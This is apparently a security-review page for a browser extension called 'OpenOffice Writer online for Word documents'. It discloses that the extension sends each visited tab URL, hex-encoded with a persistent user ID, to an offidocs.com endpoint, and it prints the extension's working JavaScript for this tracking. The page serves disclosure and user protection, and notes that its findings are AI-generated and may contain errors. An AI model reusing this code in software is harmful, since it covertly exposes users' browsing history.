Is OpenOffice Writer online for Word documents safe?
OpenOffice Writer is high risk. The extension sends visited page URLs to an OffiDocs endpoint on tab activation, hex-encoded in filepath with a fixed ID, u=gnfh4zvge3. Visits to Google, Amazon, and Facebook produced HTTP 200s, letting the server rebuild browsing history.
Who publishes itofficeonlinesystems - 26 other listings from the same operator, 17 of them carrying a finding
officeonlinesystems - 26 other listings from the same operator, 17 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
19 other listings published from this account, 1.5M+ users between them. 14 of them carry a finding.
Same operator - 7 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Every Visited URL Sent to OffiDocs
The extension sends visited page URLs to an OffiDocs endpoint on tab activation, hex-encoded in filepath with a fixed ID, u=gnfh4zvge3.
Visits to Google, Amazon, and Facebook produced HTTP 200s, letting the server rebuild browsing history.
You open a website, switch to another tab, or a tab finishes updating.
The extension reads that tab URL, encodes it, and sends it to OffiDocs with a recurring identifier.
| Field | Value | Why it matters | |
|---|---|---|---|
Visited page URL | https://www.google.com/ | Lets the server reconstruct the exact page you opened or switched to. | |
Encoded URL field | 68747470733a2f2f7777772e676f6f676c652e636f6d2f | Carries the same page address in a form that is less readable at a glance. | |
Recurring user identifier | gnfh4zvge3 | Lets separate page visits be tied back to the same browser profile over time. | |
Service routing value | community01 | Adds context about which OffiDocs service handled the navigation request. |
The visited URL is hex-encoded in the query string; decoding it reveals the page you visited.
https://www.google.com/
The shipped code listens to tab changes and forwards the URL
function getTabInfo(tabId) {
chrome.tabs.get(tabId, function(tab) {
if ( ( tab.url.indexOf("offidocs") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lastUrl != tab.url) ) {
//console.log(" Changed tab.url " + tab.url);
urlx = tab.url;
extractopenofficewriter(urlx);
lastUrl = tab.url;
}
});
}
function websecure() {
this.init = function () {
chrome.tabs.onActivated.addListener(function(activeInfo) {
activeTabId = activeInfo.tabId;
getTabInfo(activeTabId);
});
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
//if(activeTabId == tabId) {
getTabInfo(tabId);
//}
});
};
}async function extractopenofficewriter(urlxx) {
const offidocs_key = "offidocs_key";
var datax = { username: null, offidocscloud: null };
var username = "";
var offidocscloud = "";
let storageResult = await chrome.storage.local.get([offidocs_key]);
if (offidocs_key in storageResult) {
datax = storageResult[offidocs_key]
}
if ( datax.username ) {
username = datax.username;
}
else {
username = "" + randomString(10) + "".toLowerCase();
datax.username = username;
}
if ( datax.offidocscloud ) {
offidocscloud = datax.offidocscloud;
}
else {
offidocscloud = "1";
datax.offidocscloud = "1";
}
var data = {};
data[offidocs_key] = datax;
await chrome.storage.local.set(data);
var un = username;
if ( datax.offidocscloud == "0")
return;
if ( servicexx == "" ) {
let response = await fetch('https://www.offidocs.com/media/system/app/resetlool.php?username=' + username + '&urlpathx=/community/user.php');
if (response.status === 200) {
let data = await response.text();
servicexx = data;
}
}
//console.log('https://www.offidocs.com/media/system/app/checkdownloadowriterx_2_nav.php?filepath=' + bin2hex(urlxx) + '&hex=1&u=' + un );
let cfgv = await fetch('https://www.offidocs.com/media/system/app/checkdownloadowriterx_2_nav.php?filepath=' + bin2hex(urlxx) + '&hex=1&u=' + un + "&s=" + servicexx);
if (cfgv.status === 200) {
let fbv = await cfgv.text();
//console.log(fbv);
var nbv = fbv;
if ( nbv.indexOf("302") !== -1 ) {
var ybv = 'https://www.offidocs.com/media/system/app/view_edit_officedoc_nav.php?filepath=' + bin2hex(urlxx) + '&u=' + un;
//chrome.tabs.create({ url: ybv });
chrome.tabs.update(chrome.tabs.getCurrent().id, {url: ybv});
}
}
}
function bin2hex (bin)
{
var i = 0, l = bin.length, chr, hex = ''
for (i; i < l; ++i)
{
chr = bin.charCodeAt(i).toString(16)
hex += chr.length < 2 ? '0' + chr : chr
}
return hex
}- www.offidocs.com
Receives the checkdownloadowriterx_2_nav.php GET request containing the hex-encoded visited URL, recurring user identifier, and service value.
What it can do
Permissions this extension asks for, as declared in version 2.7.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs